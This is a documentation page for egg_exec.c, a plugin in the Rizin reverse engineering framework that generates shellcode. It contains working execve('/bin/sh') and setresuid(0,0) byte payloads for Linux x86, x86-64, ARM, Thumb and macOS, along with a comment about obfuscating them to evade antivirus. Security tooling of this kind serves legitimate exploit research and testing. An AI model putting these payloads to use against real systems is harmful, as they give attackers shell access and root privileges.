Rizin
unix-like reverse engineering framework and cli tools
egg_exec.c
Go to the documentation of this file.
1 // SPDX-FileCopyrightText: 2011 pancake <pancake@nopcode.org>
2 // SPDX-License-Identifier: LGPL-3.0-only
3 #include <rz_egg.h>
4 
5 #if 0
6 linux setresuid(0,0)+execv(/bin/sh)
7 31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80
8 
9 SETRESUID: (11 bytes)
10 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
11 
12 BINSH: (24 bytes) (x86-32/64):
13 "\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";
14 #endif
15 
16 // XXX: must obfuscate to avoid antivirus
17 // OSX
19  "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17"
20  /* suid */ "\x31\xff\x4c\x89\xc0\x0f\x05"
21  "\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
22  "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff"
23  // CMD
24  "\x2f\x62\x69\x6e\x2f\x73\x68";
25 static ut8 x86_osx_binsh[] =
26  "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17"
27  // SUIDSH "\x31\xff\x4c\x89\xc0\x0f\x05"
28  "\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
29  "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff"
30  // CMD
31  "\x2f\x62\x69\x6e\x2f\x73\x68";
32 
33 // linux
34 static ut8 x86_linux_binsh[] =
35  "\x31\xc0\x50\x68"
36  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" // /bin/sh here
37  "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
38 
39 #if 0
40 static ut8 x86_64_linux_binsh[] =
41  "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"
42  "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b"
43  "\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
44 #endif
45 
47  "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
48 
49 static ut8 arm_linux_binsh[] =
50  "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5"
51  "\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2"
52  "\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
53  "\x2f\x62\x69\x6e\x2f\x73\x68"; // "/bin/sh";
54 
56  "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90"
57  "\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"; // "/bin/sh";
58 
59 static RzBuffer *build(RzEgg *egg) {
61  const ut8 *sc = NULL;
62  int cd = 0;
63  char *shell = rz_egg_option_get(egg, "cmd");
64  char *suid = rz_egg_option_get(egg, "suid");
65  // TODO: last char must not be \x00 .. or what? :D
66  if (suid && *suid == 'f') { // false
67  free(suid);
68  suid = NULL;
69  }
70  switch (egg->os) {
71  case RZ_EGG_OS_OSX:
72  case RZ_EGG_OS_DARWIN:
73  switch (egg->arch) {
74  case RZ_SYS_ARCH_X86:
75  if (suid) {
77  cd = 7 + 36;
78  } else {
79  sc = x86_osx_binsh;
80  cd = 36;
81  }
82  case RZ_SYS_ARCH_ARM:
83  // TODO
84  break;
85  }
86  break;
87  case RZ_EGG_OS_LINUX:
88  if (suid) {
89  eprintf("no suid for this platform\n");
90  }
91  suid = 0;
92  switch (egg->arch) {
93  case RZ_SYS_ARCH_X86:
94  switch (egg->bits) {
95  case 32:
97  break;
98  case 64:
100  if (shell && *shell) {
101  int len = strlen(shell);
102  if (len > sizeof(st64) - 1) {
103  *shell = 0;
104  eprintf("Unsupported CMD length\n");
105  break;
106  }
107  st64 b = 0;
108  memcpy(&b, shell, strlen(shell));
109  b = -b;
110  shell = realloc(shell, sizeof(st64) + 1);
111  if (!shell) {
112  break;
113  }
114  rz_str_ncpy(shell, (char *)&b, sizeof(st64));
115  shell[sizeof(st64)] = 0;
116  cd = 4;
117  rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
118  rz_buf_write_at(buf, cd, (const ut8 *)shell, sizeof(st64));
119  sc = 0;
120  }
121  break;
122  default:
123  eprintf("Unsupported arch %d bits\n", egg->bits);
124  }
125  break;
126  case RZ_SYS_ARCH_ARM:
127  switch (egg->bits) {
128  case 16:
130  break;
131  case 32:
133  break;
134  default:
135  eprintf("Unsupported arch %d bits\n", egg->bits);
136  }
137  break;
138  }
139  break;
140  default:
141  eprintf("Unsupported os %x\n", egg->os);
142  break;
143  }
144 
145  if (sc) {
146  rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
147  if (shell && *shell) {
148  if (cd) {
149  rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
150  } else {
151  eprintf("Cannot set shell\n");
152  }
153  }
154  }
155  free(suid);
156  free(shell);
157  return buf;
158 }
159 
160 // TODO: rename plugin to run
162  .name = "exec",
163  .type = RZ_EGG_PLUGIN_SHELLCODE,
164  .desc = "execute cmd=/bin/sh suid=false",
165  .build = (void *)build
166 };
167 
168 #ifndef RZ_PLUGIN_INCORE
171  .data = &rz_egg_plugin_exec,
172  .version = RZ_VERSION
173 };
174 #endif
size_t len
Definition: 6502dis.c:15
static ut8 bytes[32]
Definition: asm_arc.c:23
static csh cd
Definition: asm_mips_cs.c:10
#define RZ_API
#define NULL
Definition: cris-opc.c:27
RZ_API char * rz_egg_option_get(RzEgg *egg, const char *key)
Definition: egg.c:534
static char sc[]
Definition: egg_cb.c:6
static RzBuffer * build(RzEgg *egg)
Definition: egg_exec.c:59
RZ_API RzLibStruct rizin_plugin
Definition: egg_exec.c:169
static ut8 x86_64_linux_binsh[]
Definition: egg_exec.c:46
RzEggPlugin rz_egg_plugin_exec
Definition: egg_exec.c:161
static ut8 thumb_linux_binsh[]
Definition: egg_exec.c:55
static ut8 x86_linux_binsh[]
Definition: egg_exec.c:34
static ut8 x86_osx_suid_binsh[]
Definition: egg_exec.c:18
static ut8 x86_osx_binsh[]
Definition: egg_exec.c:25
static ut8 arm_linux_binsh[]
Definition: egg_exec.c:49
RZ_API void Ht_() free(HtName_(Ht) *ht)
Definition: ht_inc.c:130
voidpf void * buf
Definition: ioapi.h:138
uint8_t ut8
Definition: lh5801.h:11
memcpy(mem, inblock.get(), min(CONTAINING_RECORD(inblock.get(), MEMBLOCK, data) ->size, size))
void * realloc(void *ptr, size_t size)
Definition: malloc.c:144
static const char struct stat static buf struct stat static buf static idle const char static path static fd const char static len const void static prot const char struct module static image struct kernel_sym static table unsigned char static buf static fsuid unsigned struct dirent unsigned static count const struct iovec static count static pid const void static len static flags const struct sched_param static p static pid static policy struct timespec static tp setresuid
Definition: sflib.h:184
#define eprintf(x, y...)
Definition: rlcc.c:7
RZ_API st64 rz_buf_write_at(RZ_NONNULL RzBuffer *b, ut64 addr, RZ_NONNULL const ut8 *buf, ut64 len)
Write len bytes of the buffer at the specified address.
Definition: buf.c:1197
RZ_API bool rz_buf_set_bytes(RZ_NONNULL RzBuffer *b, RZ_NONNULL const ut8 *buf, ut64 len)
Replace the content of the buffer with the bytes array.
Definition: buf.c:905
RZ_API RZ_OWN RzBuffer * rz_buf_new_with_bytes(RZ_NULLABLE RZ_BORROW const ut8 *bytes, ut64 len)
Creates a new buffer with a bytes array.
Definition: buf.c:465
#define RZ_EGG_PLUGIN_SHELLCODE
Definition: rz_egg.h:19
#define RZ_EGG_OS_DARWIN
Definition: rz_egg.h:129
#define RZ_EGG_OS_OSX
Definition: rz_egg.h:128
#define RZ_EGG_OS_LINUX
Definition: rz_egg.h:127
@ RZ_LIB_TYPE_EGG
Definition: rz_lib.h:84
RZ_API size_t rz_str_ncpy(char *dst, const char *src, size_t n)
Secure string copy with null terminator.
Definition: str.c:923
@ RZ_SYS_ARCH_X86
Definition: rz_types.h:532
@ RZ_SYS_ARCH_ARM
Definition: rz_types.h:533
#define st64
Definition: rz_types_base.h:10
#define RZ_VERSION
Definition: rz_version.h:8
#define b(i)
Definition: sha256.c:42
Definition: malloc.c:26
const char * name
Definition: rz_egg.h:23
int bits
Definition: rz_egg.h:108
int arch
Definition: rz_egg.h:106
ut32 os
Definition: rz_egg.h:109